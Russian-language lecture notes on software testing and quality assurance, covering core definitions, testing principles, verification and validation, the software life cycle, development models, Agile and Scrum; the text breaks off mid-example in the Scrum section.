Тестирование ИС Лекции

Тема 1. Обеспечение качества и тестирование программного обеспечения - основные понятия и определения Качество программного обеспечения (Software Quality) - это степень, в которой программное обеспечение обладает требуемой комбинацией свойств. Качество программного обеспечения (Software Quality) - это совокупность характеристик программного обеспечения, относящихся к его способности удовлетворять установленные и предполагаемые потребности. Обеспечение качества (Quality Assurance - QA) - это совокупность мероприятий, охватывающих все технологические этапы разработки, выпуска и эксплуатации программного обеспечения (ПО) информационных систем, предпринимаемых на разных стадиях жизненного цикла ПО для обеспечения требуемого уровня качества выпускаемого продукта. Контроль качества (Quality Control - QC) - это совокупность действий, проводимых над продуктом в процессе разработки для получения информации о его актуальном состоянии в разрезах: "готовность продукта к выпуску", "соответствие зафиксированным требованиям", "соответствие заявленному уровню качества продукта". Тестирование программного обеспечения (Software Testing) - это одна из техник контроля качества, включающая в себя активности по планированию работ (Test Management), проектированию тестов (Test Design), выполнению тестирования (Test Execution) и анализу полученных результатов (Test Analysis). Верификация (verification) - это процесс оценки системы или её компонентов с целью определения, удовлетворяют ли результаты текущего этапа разработки условиям, сформированным в начале этого этапа. Т.е. выполняются ли наши цели, сроки, задачи по разработке проекта, которые были определены в начале текущей фазы. Валидация (validation) - это определение соответствия разрабатываемого ПО ожиданиям и потребностям пользователя, требованиям к системе. План Тестирования (Test Plan) - это документ, который описывает весь объем работ по тестированию, начиная с описания объекта, стратегии, расписания, критериев начала и окончания тестирования до необходимого в процессе работы оборудования, специальных знаний, а также оценки рисков с вариантами их разрешения. Тест дизайн (Test Design) - это этап процесса тестирования ПО, на котором проектируются и создаются тестовые случаи (тест-кейсы), в соответствии с определенными ранее критериями качества и целями тестирования. Тестовый случай (Test Case) - это артефакт, описывающий совокупность шагов, конкретных условий и параметров, необходимых для проверки реализации тестируемой функции или её части. Баг/Дефект Репорт (Bug Report) - это документ, описывающий ситуацию или последовательность действий, приведшую к некорректной работе объекта тестирования с указанием причин и ожидаемого результата. Тестовое Покрытие (Test Coverage) - это одна из метрик оценки качества тестирования, представляющая из себя плотность покрытия тестами требований либо исполняемого кода. Детализация Тест-Кейсов (Test Case Specification) - это уровень детализации описания тестовых шагов и требуемого результата, при котором обеспечивается разумное соотношение времени прохождения к тестовому покрытию. Время Прохождения Тест Кейса(Test Case Pass Time) - это время от начала прохождения шагов тест-кейса до получения результата теста. Качество программного обеспечения Каждый день в своей работе мы сталкиваемся с достаточно абстрактным понятием «качество ПО» и если задать вопрос тестировщику или программисту «что такое качество?», то у каждого найдется своё толкование. Рассмотрим определение "качества ПО" в контексте международных стандартов: Качество программного обеспечения - это степень, в которой ПО обладает требуемой комбинацией свойств. Качество программного обеспечения - это совокупность характеристик ПО, относящихся к его способности удовлетворять установленные и предполагаемые потребности. Характеристики качества ПО Функциональность (Functionality) - определяется способностью ПО решать задачи, которые соответствуют зафиксированным и предполагаемым потребностям пользователя, при заданных условиях использования ПО. Т.е. эта характеристика отвечает то, что ПО работает исправно и точно, функционально совместимо соответствует стандартам отрасли и защищено от несанкционированного доступа. Надежность (Reliability) – способность ПО выполнять требуемые задачи в обозначенных условиях на протяжении заданного промежутка времени или указанное количество операций. Атрибуты данной характеристики – это завершенность и целостность всей системы, способность самостоятельно и корректно восстанавливаться после сбоев в работе, отказоустойчивость. Удобство использования (Usability) – возможность легкого понимания, изучения, использования и привлекательности ПО для пользователя. Эффективность (Efficiency) – способность ПО обеспечивать требуемый уровень производительности, в соответствии с выделенными ресурсами, временем и другими обозначенными условиями. Удобство сопровождения (Maintainability) – легкость, с которой ПО может анализироваться, тестироваться, изменяться для исправления дефектов для реализации новых требований, для облегчения дальнейшего обслуживания и адаптирования к имеющемуся окружению. Портативность (Portability) – характеризует ПО с точки зрения легкости его переноса из одного окружения (software/ hardware) в другое. Модель качества программного обеспечения На данный момент, наиболее распространена и используется многоуровневая модель качества программного обеспечения, представленная в наборе стандартов ISO 9126. На верхнем уровне выделено 6 основных характеристик качества ПО, каждую из которых определяют набором атрибутов, имеющих соответствующие метрики для последующей оценки. Рис.1. Модель качества программного обеспечения (ISO 9126-1) Кто такой тестировщик и что он делает Если поискать информацию по ключевым фразам из названия этой главы,то можно найти уйму совершенно противоречивых ответов. И дело здесь, в первую очередь, в том, что авторы большинства «должностных обязанностей» приписывают всей профессии некий утрированный набор характеристик отдельных её представителей. В начале карьеры любой специалист (и тестировщик не является исключением) является исполнителем и учеником. Достаточно хорошо понимать, что такое тест-кейсы, отчёты о дефектах, уметь читать требования, пользоваться парой инструментальных средств и хорошо уживаться в команде. Постепенно тестировщик начинает погружаться во все стадии разработки проекта, понимая их всё полнее и полнее, начинает не только активно использовать, но и разрабатывать проектную документацию, принимать всё более ответственные решения. Если выразить образно главную цель тестировщика, то она будет звучать так: «понимать, что в настоящий момент необходимо проекту, получает ли проект это необходимое в должной мере и, если нет, то как изменить ситуацию к лучшему». Звучит похоже на цель руководителя проекта, верно? Верно. Начиная с некоторого уровня развития, ITспециалисты, по большому счёту, различаются лишь наборами технических навыков и основной областью приложения этих навыков. Так какие же технические навыки нужны, чтобы успешно начать работать тестировщиком? Прежде чем приступить к самому перечислению, оговорим особо: этот список рассчитан, в первую очередь, на тех, кто приходит в тестирование из не технических профессий (хотя часто его же приходится озвучивать и студентам технических вузов). 1. Знание иностранных языков. Да, это не технический навык. Но, тем не менее, он идёт под номером «ноль». Можете считать это аксиомой: «нет знания английского — нет карьеры в IT». Другие иностранные языки тоже приветствуются, но английский первичен. 2. Уверенное владение компьютером на уровне по-настоящему продвинутого пользователя и желание постоянно развиваться в этой области. Можете ли Вы представить себе профессионального повара, который не может пожарить картошку (не «не обязан», а «не умеет в принципе»)? Выглядит странно? Не менее странно выглядит «IT’шник» (именно так, в кавычках), неспособный набрать вменяемо отформатированный текст, скопировать файл по сети, развернуть виртуальную машину или выполнить любое иное повседневное рутинное действие. 3. Программирование. Оно на порядок упрощает жизнь любому IT’шнику, а тестировщику — в первую очередь. Можно ли тестировать без знания программирования? Да, можно. Можно ли это делать по-настоящему хорошо? Нет. И сейчас самый главный (почти религиозно-философский) вопрос: какой язык программирования изучать? C/C++/C#, Java, PHP, JavaScript, Python, Ruby и т.д. — начинайте с того, на чём написан ваш проект. Если проекта пока ещё нет, начинайте с JavaScript (на текущий момент — самое универсальное решение). 4. Базы данных и язык SQL. Здесь от тестировщика тоже не требуется квалификация на уровне узких специалистов, но минимальные навыки работы с наиболее распространёнными СУБД и умение писать простые запросы можно считать обязательными. 5. Понимание принципов работы сетей и операционных систем. Хотя бы на минимальном уровне, позволяющем провести диагностику проблемы и решить её своими силами, если это возможно. 6. Понимание принципов работы веб-приложений и мобильных приложений. В наши дни почти всё пишется именно в виде таких приложений, и понимание соответствующих технологий становится обязательным для эффективного тестирования. Надеюсь, Вы обратили внимание на то, что самого тестирования в списке нет. Всё верно, ведь ему посвящена вся эта книга целиком, так что позволим себе не копировать её сюда. Также отметим личностные качества, позволяющие тестировщику быстрее стать отличным специалистом: 1. Повышенная ответственность и исполнительность; 2. хорошие коммуникативные навыки, способность ясно, быстро, чётко выражать свои мысли; 3. терпение, усидчивость, внимательность к деталям, наблюдательность; 4. хорошее абстрактное и аналитическое мышление; 5. способность ставить нестандартные эксперименты, склонность к исследовательской деятельности. Да, сложно найти человека, который бы в равной мере обладал всеми перечисленными качествами, но всегда полезно иметь некий ориентир для саморазвития. Откуда берутся ошибки в ПО? Почему бывает так, что программы работают неправильно? Все очень просто – они создаются и используются людьми. Если пользователь допустит ошибку, то это может привести к проблеме в работе программы – она используется неправильно, значит, может повести себя не так, как ожидалось. Ошибка (error) – это действие человека, которое порождает неправильный результат. Однако программы разрабатываются и создаются людьми, которые также могут допускать (и допускают) ошибки. Это значит, что недостатки есть и в самом программном обеспечении. Они называются дефектами или багами (оба обозначения равносильны). Здесь важно помнить, что программное обеспечение – нечто большее, чем просто код. Дефект, Баг (Defect, Bug) – недостаток компонента или системы, который может привести к отказу определенной функциональности. Дефект, обнаруженный во время исполнения программы, может вызвать отказ отдельного компонента или всей системы. При исполнении кода программы дефекты, заложенные еще во время его написания, могут проявиться: программа может не делать того, что должна или наоборот делать то, чего не должна – происходит сбой. Сбой (failure) – несоответствие фактического результата (actual result) работы компонента или системы ожидаемому результату (expected result). Сбой в работе программы может являться индикатором наличия в ней дефекта. Таким образом, баг существует при одновременном выполнении трех условий: • известен ожидаемый результат; • известен фактический результат; • фактический результат отличается от ожидаемого результата. Важно понимать, что не все баги становятся причиной сбоев – некоторые из них могут никак себя не проявлять и оставаться незамеченными (или проявляться только при очень специфических обстоятельствах). Причиной сбоев могут быть не только дефекты, но также и условия окружающей среды: например, радиация, электромагнитные поля или загрязнение также могут влиять на работу как программного, так и аппаратного обеспечения. Всего существует несколько источников дефектов и, соответственно, сбоев: • ошибки в спецификации, дизайне или реализации программной системы; • ошибки использования системы; • неблагоприятные условия окружающей среды; • умышленное причинение вреда; • потенциальные последствия предыдущих ошибок, условий или умышленных действий. Дефекты могут возникать на разных уровнях, и от того, будут ли они исправлены и когда, будет напрямую зависеть качество системы. Качество (Quality) – степень, в которой совокупность присущих характеристик соответствует требованиям. Качество программного обеспечения (Software Quality) – это совокупность характеристик программного обеспечения, отражающих его способность удовлетворять установленные и предполагаемые потребности. Требование (Requirement) – потребность или ожидание, которое установлено. Обычно предполагается или является обязательным. В первом случае все было сделано правильно и мы получили продукт, полностью соответствующий ожиданиям заказчика и удовлетворяющий критериям качества. Во втором случае ошибки были допущены уже при кодировании, что привело к появлению дефектов в готовом продукте. Но на этом уровне баги достаточно легко обнаружить и исправить, поскольку мы видим несоответствие требованиям. Третий вариант хуже – здесь ошибки были допущены на этапе проектирования системы. Заметить это можно лишь проведя тщательную сверку со спецификацией. Исправить такие дефекты тоже непросто – нужно заново перерабатывать дизайн продукта. В четвертом случае дефекты были заложены еще на этапе формирования требований; вся дальнейшая разработка и даже тестирование пошли по изначально неправильному пути. Во время тестирования мы не найдем багов – программа пройдет все тесты, но может быть забракована заказчиком. Условно можно выделить пять причин появления дефектов в программном коде. 1. Недостаток или отсутствие общения в команде. Зачастую бизнес-требования просто не доходят до команды разработки. У заказчика есть понимание того, каким он хочет видеть готовый продукт, но, если должным образом не объяснить его идею разработчикам и тестировщикам, результат может оказаться не таким, как предполагалось. Требования должны быть доступны и понятны всем участникам процесса разработки ПО. 2. Сложность программного обеспечения. Современное ПО состоит из множества компонентов, которые объединяются в сложные программные системы. Многопоточные приложения, клиент-серверная и распределенная архитектура, многоуровневые базы данных – программы становятся все сложнее в написании и поддержке, и тем труднее становится работа программистов. А чем труднее работа, тем больше ошибок может допустить исполняющий ее человек. 3. Изменения требований. Даже незначительные изменения требований на поздних этапах разработки требуют большого объема работ по внесению изменений в систему. Меняется дизайн и архитектура приложения, что, в свою очередь, требует внесения изменений в исходный код и принципы взаимодействия программных модулей. Такие текущие изменения зачастую становятся источником трудноуловимых дефектов. Тем не менее, часто меняющиеся требования в современном бизнесе – скорее правило, чем исключение, поэтому непрерывное тестирование и контроль рисков в таких условиях – прямая обязанность специалистов отдела обеспечения качества. 4. Плохо документированный код. Сложно поддерживать и изменять плохо написанный и слабо документированный программный код. Во многих компаниях существуют специальные правила по написанию и документированию кода программистами. Хотя на практике часто бывает так, что разработчики вынуждены писать программы в первую очередь быстро, а это сказывается на качестве продукта. 5. Средства разработки ПО. Средства визуализации, библиотеки, компиляторы, генераторы скриптов и другие вспомогательные инструменты разработки – это тоже зачастую плохо работающие и слабо документированные программы, которые могут стать источником дефектов в готовом продукте. Принципы тестирования Тестирование программного обеспечения – креативная и интеллектуальная работа. Разработка правильных и эффективных тестов – достаточно непростое занятие. Принципы тестирования, представленные ниже, были разработаны в последние 40 лет и являются общим руководством для тестирования в целом. 1. Тестирование показывает наличие дефектов Тестирование может показать наличие дефектов в программе, но не доказать их отсутствие. Тем не менее, важно составлять тест-кейсы, которые будут находить как можно больше багов. Таким образом, при должном тестовом покрытии, тестирование позволяет снизить вероятность наличия дефектов в программном обеспечении. В то же время, даже если дефекты не были найдены в процессе тестирования, нельзя утверждать, что их нет. 2. Исчерпывающее тестирование невозможно Невозможно провести исчерпывающее тестирование, которое бы покрывало все комбинации пользовательского ввода и состояний системы, за исключениям совсем уж примитивных случаев. Вместо этого необходимо использовать анализ рисков и расстановку приоритетов, что позволит более эффективно распределять усилия по обеспечению качества ПО. 3. Раннее тестирование Тестирование должно начинаться как можно раньше в жизненном цикле разработки программного обеспечения и его усилия должны быть сконцентрированы на определенных целях. 4. Скопление дефектов Разные модули системы могут содержать разное количество дефектов, то есть плотность скопления дефектов в разных элементах программы может отличаться. Усилия по тестированию должны распределяться пропорционально фактической плотности дефектов. В основном, большую часть критических дефектов находят в ограниченном количестве модулей. Это проявление принципа Парето: 80% проблем содержатся в 20% модулей. 5. Парадокс пестицида Прогоняя одни и те же тесты вновь и вновь, Вы столкнетесь с тем, что они находят все меньше новых ошибок. Поскольку система эволюционирует, многие из ранее найденных дефектов исправляют и старые тест-кейсы больше не срабатывают. Чтобы преодолеть этот парадокс, необходимо периодически вносить изменения в используемые наборы тестов, рецензировать и корректировать их с тем, чтобы они отвечали новому состоянию системы и позволяли находить как можно большее количество дефектов. 6. Тестирование зависит от контекста Выбор методологии, техники и типа тестирования будет напрямую зависеть от природы самой программы. Например, программное обеспечение для медицинских нужд требует гораздо более строгой и тщательной проверки, чем, скажем, компьютерная игра. Из тех же соображений сайт с большой посещаемостью должен пройти через серьезное тестирование производительности, чтобы показать возможность работы в условиях высокой нагрузки. 7. Заблуждение об отсутствии ошибок. Тот факт, что тестирование не обнаружило дефектов, еще не значит, что программа готова к релизу. Нахождение и исправление дефектов будет не важным, если система окажется неудобной в использовании и не будет удовлетворять ожиданиям и потребностям пользователя. И еще несколько важных принципов: • тестирование должно производиться независимыми специалистами; • привлекайте лучших профессионалов; • тестируйте как позитивные, так и негативные сценарии; • не допускайте изменений в программе в процессе тестирования; • указывайте ожидаемый результат выполнения тестов. Верификация и валидация Эти два понятия тесно связаны с процессами тестирования и обеспечения качества. К сожалению, их часто путают, хотя отличия между ними достаточно существенны. Верификация (verification)– это процесс оценки системы или её компонентов с целью определения того, удовлетворяют ли результаты текущего этапа разработки условиям, сформированным в начале этого этапа. То есть выполняются ли задачи, цели и сроки по разработке продукта. Валидация (validation)– это определение соответствия разрабатываемого ПО ожиданиям и потребностям пользователя, требованиям к системе. Следующая таблица поможет выделить ключевые отличия между этими понятиями: С помощью валидации Вы можете быть уверенным в том, что создали «правильный» продукт. Продукт, который полностью удовлетворяет заказчика. С помощью верификации Вы можете увериться в том, что продукт сделан «правильно»: придерживаясь необходимых методик, инструментов и стандартов. На практике отличия верификации и валидации имеют большое значение: • заказчика интересует, в большей степени, валидация (удовлетворение собственных требований); • исполнителя, в свою очередь, волнует не только соблюдение всех норм качества (верификация) при реализации продукта, а и соответствие всех особенностей продукта желаниям заказчика. QA, QC и тестирование Так в чем же разница между QA и тестированием и что такое Quality Control? Многие люди до сих пор путают эти понятия, что, в общем, и не удивительно, принимая во внимание, что в нашей стране они зачастую могут использоваться для описания одних и тех же процессов. Но с формальной точки зрения, а именно она нас, как специалистов, и интересует, эти три понятия имеют существенно отличающиеся значения. Можно оформить их соотношение в виде таблицы: Таким образом, мы можем построить модель иерархии процессов обеспечения качества: Тестирование – часть QC. QC – часть QA. Иными словами, Quality Assurance обеспечивает правильность и предсказуемость процесса, в то время как Quality Control предполагает контроль соблюдения требований. Тестирование же, в свою очередь, обеспечивает сбор статистических данных и внесение их в документы, созданные в рамках QC-процесса. Если провести аналогию с процессом конструирования, скажем, велосипеда, то получим такую картину: • С помощью тестирования мы можем определить, работают ли все детали и сам велосипед в целом так, как мы ожидаем. Из правильных ли материалов он сделан, с применением нужных методик и инструментов или нет. То есть подразумевается, что тестируемый объект уже существует. • Задачей же QA является обеспечение соответствия всех этапов конструирования нашего велосипеда определенным стандартам качества, начиная с планирования и создания чертежей и заканчивая сборкой уже готового велосипеда. То есть качеству объекта внимание уделяется еще до создания самого объекта. Тема 2. Жизненный цикл ПО Тестирование – не изолированный процесс. Это часть модели жизненного цикла программного обеспечения (Software Development Life Cycle, SDLC). Именно поэтому выбор средств и методик тестирования будет напрямую зависеть от выбранной модели разработки. В этом разделе мы рассмотрим наиболее часто применяемые подходы к разработке программного обеспечения, а также популярные сегодня методологии и практики, такие как Agile и Scrum. Жизненный цикл программного обеспечения (также называемый циклом разработки) – это условная схема, включающая отдельные этапы, которые представляют стадии процесса создания ПО. При этом, на каждом этапе выполняются разные действия. Цикл разработки предлагает шаблон, использование которого облегчает проектирование, создание и выпуск качественного программного обеспечения. Это методология, определяющая процессы и средства, необходимые для успешного завершения проекта. Хотя реализация принципов построения модели жизненного цикла для разных компаний может существенно отличаться, существуют стандарты, такие как ISO/IEC 12207, определяющие принятые практики разработки и сопровождения программного обеспечения. Цель использования модели жизненного цикла – создать эффективный, экономически выгодный и качественный программный продукт. Анализ требований Цель этой стадии – определение детальных требований к системе. Кроме этого, необходимо убедиться в том, что все участники правильно поняли поставленные задачи и то, как именно каждое требование будет реализовано на практике. Этот этап предполагает сбор требований к разрабатываемому программному обеспечению, их систематизацию, документирование, анализ, а также выявление и разрешение противоречий. Проектирование На стадии проектирования (называемой также стадией дизайна и архитектуры) программисты и системные архитекторы, руководствуясь требованиями, разрабатывают высокоуровневый дизайн системы. Дизайн, как правило, закрепляется отдельным документом – дизайн-спецификацией (Design Specification Document, DSD). На этом этапе, для упрощения визуализации процесса проектирования, используются так называемые нотации– схематическое выражение характеристик системы. Основные используемые нотации: • Блок-схемы. • ER-диаграммы. • UML-диаграммы. • Макеты – например, нарисованный в фотошопе прототип сайта. Разработка и программирование На этом этапе начинается написание программистами кода программы в соответствии с ранее определенными требованиями. Программирование предполагает четыре основных стадии: • Разработка алгоритмов – создание логики работы программы. • Написание исходного кода. • Компиляция – преобразование в машинный код. • Тестирование и отладка – юнит-тестирование. Документация Существует четыре уровня документации: • Архитектурная (проектная) – например, дизайн-спецификация. Это документы, описывающие модели, методологии, инструменты и средства разработки, выбранные для данного проекта. • Техническая – вся сопровождающая разработку документация (различные документы, поясняющие работу системы на уровне отдельных модулей). • Пользовательская – включает справочные и поясняющие материалы, необходимые конечному пользователю для работы с системой. Это, к примеру, Readme и User guide, раздел справки по программе. • Маркетинговая – включает рекламные материалы, сопровождающие выпуск продукта. Тестирование Процесс тестирования состоит из таких этапов: • Планирование и управление - планирование тестирования включает действия, направленные на определение основных целей тестирования и задач, выполнение которых необходимо для достижения этих целей; составление тест-стратегии, тестплана. • Анализ и проектирование - это процесс написания тестовых сценариев и условий на основе общих целей тестирования. • Внедрение и реализация - написание тест-кейсов, на основе написанных ранее тестовых сценариев, собирается необходимая для проведения тестов информация, подготавливается тестовое окружение и запускаются тесты. • Оценка критериев выхода и написание отчетов - необходимо проверить было ли проведено достаточное количество тестов, достигнута ли нужная степень обеспечения качества системы. Действия по завершению тестирования - собираем, систематизируем и анализируем информацию о его результатах. Основные цели этого этапа • убедиться, что вся запланированная функциональность действительно была реализована; • проверить, что все отчеты об ошибках, поданные ранее, были, так или иначе, закрыты; • завершение работы тестового обеспечения, тестового окружения и инфраструктуры; • оценить общие результаты тестирования и проанализировать опыт, полученный в его процессе. Внедрение и сопровождение Когда программа протестирована и в ней больше не осталось серьезных дефектов, приходит время релиза и передачи ее конечным пользователям. В случае обнаружения пользователями тех или иных пост-релизных багов, информация о них передается в виде отчетов об ошибках команде разработки, которая, в зависимости от серьезности проблемы, либо немедленно выпускает исправление (hot-fix), либо откладывает его до следующей версии программы. Тема 3. Модели разработки ПО Чтобы лучше разобраться в том, как тестирование соотносится с программированием и иными видами проектной деятельности, для начала рассмотрим самые основые — модели разработки ПО (как часть жизненного цикла ПО). При этом сразу подчеркнём, что разработка ПО является лишь частью жизненного цикла ПО, и здесь мы говорим именно о разработке. Материал данной главы относится, скорее, к дисциплине «управление проектами», потому здесь рассмотрен крайне сжато: пожалуйста, не воспринимайте его как исчерпывающее руководство — здесь едва ли рассмотрена и сотая доля процента соответствующей предметной области. Выбор модели разработки ПО серьёзно влияет на процесс тестирования, определяя выбор стратегии, расписание, необходимые ресурсы и т.д. Моделей разработки ПО много, но, в общем случае, классическими можно считать каскадную, v-образную, итерационную, инкрементальную, спиральную и гибкую. Знать и понимать модели разработки ПО необходимо затем, чтобы уже с первых дней работы понимать, что происходит вокруг, что, зачем и почему Вы делаете. Многие начинающие тестировщики отмечают, что ощущение бессмысленности происходящего посещает их, даже если текущие задания интересны. Чем полнее вы будете представлять картину происходящего на проекте, тем яснее Вам будет виден ваш собственный вклад в общее дело и смысл того, чем вы занимаетесь. Ещё одна важная вещь, которую следует понимать, состоит в том, что никакая модель не является догмой или универсальным решением. Нет идеальной модели. Есть та, которая хуже или лучше подходит для конкретного проекта, конкретной команды, конкретных условий. Каскадная (водопадная) модель сейчас представляет, скорее, исторический интерес, т.к. в современных проектах практически не применима. Она предполагает однократное выполнение каждой из фаз проекта, которые, в свою очередь, строго следуют друг за другом (Рис. 1.2). Очень упрощённо можно сказать, что, в рамках этой модели, в любой момент времени команде «видна» лишь предыдущая и следующая фаза. В реальной же разработке ПО приходится «видеть весь проект целиком» и возвращаться к предыдущим фазам, чтобы исправить недоработки или что-то уточнить. Каскадная модель (waterfall) Рис. 1.2. Каскадная (водопадная) модель Особенности каскадной модели: — высокий уровень формализации процессов; — большое количество документации; — жесткая последовательность этапов жизненного цикла без возможности возврата на предыдущий этап. Минусы: • Waterfall-проект должен постоянно иметь актуальную документацию. Обязательная актуализация проектной документации. Избыточная документация. • Очень не гибкая методология. • Может создать ошибочное впечатление о работе над проектом (например, фраза «45% выполнено» не несёт за собой никакой полезной информации, а является всего лишь инструментов для менеджера проекта). • У заказчика нет возможности ознакомиться с системой заранее и даже с «Пилотом» системы. • У пользователя нет возможности привыкать к продукту постепенно. • Все требования должны быть известны в начале жизненного цикла проекта. • Возникает необходимость в жёстком управлении и регулярном контроле, иначе проект быстро выбьется из графиков. • Отсутствует возможность учесть переделку, весь проект делается за один раз. Плюсы: • Высокая прозрачность разработки и фаз проекта. • Чёткая последовательность. • Стабильность требований. • Строгий контроль менеджмента проекта. • Облегчает работу по составлению плана проекта и сбора команды проекта. • Хорошо определяет процедуру по контролю качества. «Водоворот» или каскадная модель с промежуточным контролем В этой модели предусмотрен промежуточный контроль за счет обратных связей. Но это достоинство порождает и недостатки. Затраты на реализацию проекта при таком подходе возрастают практически в 10 раз. Эта модель, как Вы уже поняли, является незначительной модификацией предыдущей и относится к первой группе. При реальной работе, в соответствии с моделью, допускающей движение только в одну сторону, обычно возникают проблемы при обнаружении недоработок и ошибок, сделанных на ранних этапах. Но еще более тяжело иметь дело с изменениями окружения, в котором разрабатывается ПО (это могут быть изменения требований, смена подрядчиков, изменение политики разрабатывающей или эксплуатирующей организации, изменения отраслевых стандартов, появление конкурирующих продуктов и пр.). Итеративная модель Итеративные или инкрементальные модели (известно несколько таких моделей) предполагают разбиение создаваемой системы на набор кусков, которые разрабатываются с помощью нескольких последовательных проходов всех работ или их части. Каскадная модель с возможностью возвращения на предшествующий шаг, при необходимости пересмотреть его результаты, становится итеративной. Итеративный процесс предполагает, что разные виды деятельности не привязаны намертво к определенным этапам разработки, а выполняются по мере необходимости, иногда повторяются, до тех пор, пока не будет получен нужный результат. Вместе с гибкостью и возможностью быстро реагировать на изменения, итеративные модели привносят дополнительные сложности в управление проектом и отслеживание его хода. При использовании итеративного подхода значительно сложнее становится адекватно оценить текущее состояние проекта и спланировать долгосрочное развитие событий, а также предсказать сроки и ресурсы, необходимые для обеспечения определенного качества результата. Спиральная модель жизненного цикла программного обеспечения Данная модель прекрасно сочетает в себе прототипирование и проектирование по стадиям. И из восходящей и нисходящей концепций в эту модель было взято все лучшее. Преимущества модели: 1. Результат достигается в кратчайшие сроки. 2. Конкурентоспособность достаточно высокая. 3. При изменении требований не придется начинать все с «нуля». Но у этой модели есть один существенный недостаток: невозможность регламентирования стадий выполнения. V модель — разработка через тестирование Данная модель имеет более приближенный к современным методам алгоритм, однако все еще имеет ряд недостатков. Является одной из основных практик экстремального программирования и предполагает регулярное тестирование продукта во время разработки. V-модель обеспечивает поддержку в планировании и реализации проекта. В ходе проекта ставятся следующие задачи: • Минимизация рисков: V-образная модель делает проект более прозрачным и повышает качество контроля проекта путём стандартизации промежуточных целей и описания соответствующих им результатов и ответственных лиц. Это позволяет выявлять отклонения и риски в проекте на ранних стадиях и улучшает качество управления проектов, уменьшая риски. • Повышение и гарантии качества: V-Model —стандартизованная модель разработки, что позволяет добиться от проекта результатов желаемого качества. Промежуточные результаты могут быть проверены на ранних стадиях. Универсальное документирование облегчает читаемость, понятность и проверяемость. • Уменьшение общей стоимости проекта: ресурсы на разработку, производство, управление и поддержку могут быть заранее просчитаны и проконтролированы. Получаемые результаты также универсальны и легко прогнозируются. Это уменьшает затраты на последующие стадии и проекты. • Повышение качества коммуникации между участниками проекта: универсальное описание всех элементов и условий облегчает взаимопонимание всех участников проекта. Таким образом, уменьшаются неточности в понимании между пользователем, покупателем, поставщиком и разработчиком. Модель на основе разработки прототипа Данная модель основывается на разработке прототипов и прототипирования продукта и относится ко второй группе. Прототипирование используется на ранних стадиях жизненного цикла программного обеспечения: • Прояснить неясные требования (прототип UI). • Выбрать одно из ряда концептуальных решений (реализация сценариев). • Проанализировать осуществимость проекта. Классификация прототипов: • Горизонтальные прототипы — моделирует исключительно UI, не затрагивая логику обработки и базу данных. • Вертикальные прототипы — проверка архитектурных решений. • Одноразовые прототипы — для быстрой разработки. • Эволюционные прототипы — первое приближение эволюционной системы. Вкратце можно выразить суть моделей разработки ПО таблицей 1.3. Таблица 1.3.— Сравнение моделей разработки ПО Agile (идеология) -манифест разработки программного обеспечения Мы постоянно открываем для себя более совершенные методы разработки программного обеспечения, занимаясь разработкой непосредственно и помогая в этом другим. Благодаря проделанной работе мы смогли осознать, что: • Люди и взаимодействие важнее процессов и инструментов. • Работающий продукт важнее исчерпывающей документации. • Сотрудничество с заказчиком важнее согласования условий контракта. • Готовность к изменениям важнее следования первоначальному плану. То есть, не отрицая важности того, что справа, мы всё-таки больше ценим то, что слева. Основополагающие принципы Agile-манифеста Мы следуем таким принципам: • Наивысшим приоритетом для нас является удовлетворение потребностей заказчика благодаря регулярной и ранней поставке ценного программного обеспечения. • Изменение требований приветствуется даже на поздних стадиях разработки. Agileпроцессы позволяют использовать изменения для обеспечения заказчику конкурентного преимущества. • Работающий продукт следует выпускать как можно чаще, с периодичностью от пары недель до пары месяцев. • На протяжении всего проекта разработчики и представители бизнеса должны ежедневно работать вместе. • Над проектом должны работать мотивированные профессионалы. Чтобы работа была сделана, создайте условия, обеспечьте поддержку и полностью доверьтесь им. • Непосредственное общение является наиболее практичным и эффективным способом обмена информацией как с самой командой, так и внутри команды. • Работающий продукт — основной показатель прогресса. • Инвесторы, разработчики и пользователи должны иметь возможность поддерживать постоянный ритм бесконечно. Agile помогает наладить такой устойчивый процесс разработки. • Постоянное внимание к техническому совершенству и качеству проектирования повышает гибкость проекта. • Простота — искусство минимизации лишней работы — крайне необходима. • Самые лучшие требования, архитектурные и технические решения рождаются у самоорганизующихся команд. • Команда должна систематически анализировать возможные способы улучшения эффективности и соответственно корректировать стиль своей работы. SCRUM Scrum (Скрам) — это не аббревиатура, этот термин взят из регби, который обозначает схватку вокруг мяча. Сам термин Scrum можно определить так — это методология управления проектами, которая построена на принципах тайм-менеджмента. Основной ее особенностью является вовлеченность в процесс всех участников, причем у каждого участника есть своя определенная роль. Суть в том, что не только команда работает над решением задачи, но все те, кому интересно решение задачи. Не просто поставили задачу и расслабились, а постоянно «работают» с командой и эта работа не означает только постоянный контроль. Основные термины, которые используются в методологии: • Владелец продукта (Product owner) — человек, который имеет непосредственный интерес в качественном конечном продукте, он понимает, как это продукт должен выглядеть/работать. Этот человек не работает в команде, он работает на стороне заказчика/клиента (это может быть как другая компания, так и другой отдел), но этот человек работает с командой. И это тот человек, который расставляет приоритеты для задач. • Scrum-мастер — это человек, которого можно назвать руководителем проекта, хотя это не совсем так. Главное, что это человек «зараженный Scrum-бациллой» настолько, что несет ее как своей команде, так и заказчику и, соответственно, следит за тем, чтобы все принципы Scrum соблюдались. • Scrum-команда — это команда, которая принимает все принципы Scrum и готова с ними работать. • Спринт — отрезок времени, который берется для выполнения определенного (ограниченного) списка задач. Рекомендуется брать 2-4 недели (длительность определяется командой один раз). • Бэклог (backlog) — это список всех работ. Можно сказать, это ежедневник общего пользования. Различают 2 вида бэклогов: Product-бэклог и спринт-бэклог. 1.Product-бэклог — это полный список всех работ, при реализации которых мы получим конечный продукт. 2. Спринт-бэклог — это список работ, который определила команда и согласовала с Владельцем продукта на ближайший отчетный период (спринт). Задания в спринт-бэклог берутся из product-бэклога. • Планирование спринта — это совещание, на котором присутствуют все (команда, Scrum-мастер, Владелец продукта). В течение этого совещания Владелец продукта определяет приоритеты заданий, которые он хотел бы увидеть выполненными по истечении спринта. Команда оценивает по времени, сколько из желаемого они могут выполнить. В итоге получается список заданий, который не может меняться в течение спринта и к концу спринта должен быть полностью выполнен. Пример работы PR-агентства. Как бы это могло выглядеть, если бы они работали по Scrum: Компания-клиент «Икс» хочет провести через 2 месяца масштабное мероприятие для своих партнеров и журналистов. Услуги по организации такого мероприятия компания «Икс» заказала у агентства «Зет». Компанию «Икс» представляет PR-менеджер, который отвечает за организацию мероприятия со стороны клиента. В терминологии Scrum этот человек называется "Владелец продукта". Со стороны агентства за организацию мероприятия отвечает account-менеджер (Scrum-мастер), в подчинении которого находится команда (Scrum-команда). На совместном совещании (планировании спринта) компания и агентство решают, что они будут отчитываться/планировать каждые 2 недели (длина спринта). На первые 2 недели они запланировали список задач 